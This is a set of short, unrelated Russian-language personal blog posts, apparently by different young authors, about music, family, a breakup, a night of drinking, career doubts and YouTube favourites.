Хотя, должна сказать, что 7 cups of tea помогает отвлечься на чужие проблемы.

Хороший сайт.

В последнюю ночь перед отъездом Артема мы играли в доту и мне надо было уже уходить, но он ливнул вместо меня.
Вчера решила немного помочь ему и сыграла за него 4 игры приоритета.
Последнее доброе дело.

Oonagh – Tinúviël

Если спросить случайного человека о немецкой музыке, скорее всего этому самому случайному вспомнится группа Rammstein . Может, еще Oomph! или Highland . Если повезет, можно будет услышать даже о Gregorian . Но вот шанс узнать о такой певице, как Oonagh невероятно мал, а потому мне остается только радоваться, что в Волшебном мире мелькнула запись об этой кудеснице.
На самом деле судить, наверное, еще рано - в конце концов, я слишком медленно вливаюсь в репертуар исполнителя целиком и пока что прослушала и оценила только несколько ее композиций, но… До чего же мне нравится звучание немецкого языка. До чего же цепляет красочность ее клипов. До чего же очаровывает оттенок Средних Веков в мотивах ее песен.
До чего же, до чего же, до чего же.

Обедаем вчера, бабуля отдыхает рядом на диване, беседуя с нами:

-Не знаю, кто у Даши будет муж: кто-то другой или ты, Влад. Как говорится: "Человек предполагает, Бог- располагает". Но я хочу, чтобы ты был Дашиным мужем, - не знаю, что сказать для начала.. Бабушка впервые меня с кем-то сватает, бабушка никогда и никого прежде не воспринимала всерьёз из моих бывших. Этого достаточно? Я, конечно, истерически поржала с этого заявления, однако внутри меня распирала неловкость.. А Владь, улыбаясь:

-Приятного аппетита, моя невеста.

И ещё, кроме того, что бабуля сказала, что Владю нужно завести персональную кружку у нас на даче. Попросила Дудя вскопать, после:

-Вот, чтобы ты преобщался к даче, Влад. Чтобы Вы знали, что делать тут, когда меня не станет.

И забыла рассказать про бабушкин звонок, когда мы были в сильной ссоре по приезде с дачи, когда я закрывала блог в эти дни:

-Привет, Дашуня. Мама сказала, что поругались с Владиком. Сильно? Уже помирились? Ты не затягивай ссору, этого делать нельзя. Помиритесь побыстрее и позвоните мне, я буду ждать. Влад очень хороший мальчик. Передавай ему привет.

я уже говорила, как люблю игровой канал Дэна и Фила?мм серьезно. хотя я люблю все их видео, а совместные так тем более*__* я вообще-то редко смотрю игровые видео, но у Дэн и Фил такие милашки, что даже смотреть, как они играют в игры интересно и уморительно. серьезно, смеюсь каждый раз. Фил всегда ляпает какую-нибудь ерунду, а Дэн его тролит за это :D

—Дэн, не зевай, я прямо за твоей попой :DDD

ну и конечно, мое любимые видео, где они танцуют :D

в общем, вы знаете, что делать, если у вас плохое настроение.хах смотрите ютьюб и не грустите ;)

Меня распирает от ненависти!

Господи, сколько малодушных, узко мыслящих, обильно пиздящих, мало соображающих и неадекватных людей учатся со мной в классе. Мой мозг взрывается при одной мысли о том, что мне ещё целый год.

Ох, вчера мы с девками тусили! Девки были ведущими на концерте, ну я пошла на концерт. Ох, я чуть не уснула там) Но норм) После концерта им дали бисквитики и конфеты с водой. Ну и у нас у всех деньги были. Мы пошли бухать) купили бутылку шампанского и вина. Оля блин пол бутылки шампанского вылела, а вино тоже все вылелось ибо мы его открыть не могли и пришлось сбивать горлышко камнем. Ну нам же мало)) Пошли мы еще за пивом, а денег не хватает. Увидели Валеру, Славу и Ванька. Девки забрали Валерона и давай просить деньги, он смеется фу, от вас несет, да куда вам еще? Говорит денег нет, зато есть сэм. Мы согласились) Ну крч, вчера я впервые пила сэм(самогон). Ниче так, нормулт пошло)) Все удивились тому какая я на самом деле ахуенная баба)) Ахахахах, я поржала. Потом сидели с Ваней и Славой болтали о жизни. Ахуенно с мужиками болтать о жизни, я отвечаю. Но бля все считаеют своим долгом напомнить мне об Ярославе! какого черта, мать вашу?? Я ж забыть пытаюсь!! И каааждый, вот тупо каааждый напоминает о нем. Все эти подколы, шуточки. Пошла в магазин, а там Саша, напарник его по работе тип такой, а ты в курсе, что Ярик уехал в Киев на свадьбу? Я так кивнула лишь. Потом бабушка приходит сегодня и говорит, что ей кто-то сказал, что на заводе место освободилось, парень в Киев уехал. Намек понят. Он уволился и переехал туда. И тут меня как пробило на ностальгию. Оох, сейчас Слава достает, самое смешное, что с Яром у меня так же началось)) И от этого только хуже, все воспоминания всплывают, я не могу просто. Когда же я его забуду?

P.S.он наконец-то аву поменял, фуух. Боожее, он такой красивый. Ну бляяяя

прости меня
за то, что
я
давно
к тебе
остыл

вчера я ему позвонила, только потому что меня очень сильно просил его друг, который не мог ему дозвониться сам, пришлось это сделать мне. он взял трубку на второй раз и сказал: "я занят" я попросила набрать когда осводиться. через два часа я поняла что все таки он не позвонит сам но прозьбу мне хотелось исполнить, я набрала и рассказала всю ситуацию, он молча выслушал и как бы все… вот так произошол разговор с самым дорогим мне человеком, неделю не общавшись ничего не произошло нового.

как бы там не было дальше…я наверное сдаюсь, хватит с меня

согласитесь, шикарный мужчина*__*

Как я уже говорила, в этом году я заканчиваю свое первое высшее и думаю, что же делать дальше. Так вот больше всего меня волнует один вопрос: стоит ли мне переучиваться на доктора? Просто сейчас я выйду специалистом Роспотребнадзора и это означает, что я буду чиновником за мизирную зарплату. И дело даже не в зарплате, а просто мне кажется, это какая-то шляпа… А по поводу врача… Да, есть дисциплины, которые мне нравятся, последние 2 года я реально стараюсь вникнуть и хотя бы усвоить базовый материал, но… Вот честно, я никогда не мечтала быть доктором. Это прекрасная профессия, и медицина - это область, в которой не хвататет грамотных специалистов… Но блин, вот у меня внутри какой-то барьер и непонятный страх. Может быть, мне просто надо перестать пытаться это осмысливать, и все получится?…

Короче, я в ужасе от предстоящего выбора…

Еще решила пройти тест на профориентацию.

Ну это вообще пиздец… Там предлагается 15 наиболее подходящих профессий. И знаете что? Там нет медика вообще! Только ветеринарный врач (которым я точно не хотела бы быть). А на первом месте работник текстильной промышленности (тот же самый модельер) ! Черт возьми, я всю жизнь мечтала быть модельером…

Да, я знаю, сейчас у всех посыплются возмущенные вопросы, типа че ты мозг паришь, когда все понятно…

Но дело в том, что я не умею рисовать и шить… Да и потом лучше я буду грамотным врачом и в свободное время увлекаться рукоделием, чем бездарным модельером.

P.S. Ненавижу принимать решения.

Надеюсь в скором времени будет куча подписчиков а пока нужно здесь обжиться

Почему то многим людям очень трудно называть меня по имени, хоть я не раз говорила, как меня раздражают всякие прозвища, ласковые, не ласковые, любые!!! После некоторых событий, благодаря которым моя планшетка раскололась пополам, я решила, что если услышу еще разок в свою сторону кися, буся, поганочка - сразу буду бить в харю игнорировать. Даша меня зовут, запомнили? ДАША!!

fuckyes у меня о том, что я курю, знают тоже только Избранные (время скрываться от одногруппников) (интересно, ТЫ БЫ УДОСТОИЛА МЕНЯ СОВМЕСТНЫМ КУРЕНИЕМ?)

Tag: 15 любимых песен

Наконеу то я сделаю этот tag , хотя мне его никто не передавал, да и времени не было, и я передаю всем кто еще не сделал но мне кажется что я одна такая осталась мне было жутко лень.

Ураа , я это сделала. Надеюсь этот плэйлист не будет скоро изменен на другой, так как с ним есть много воспоминании.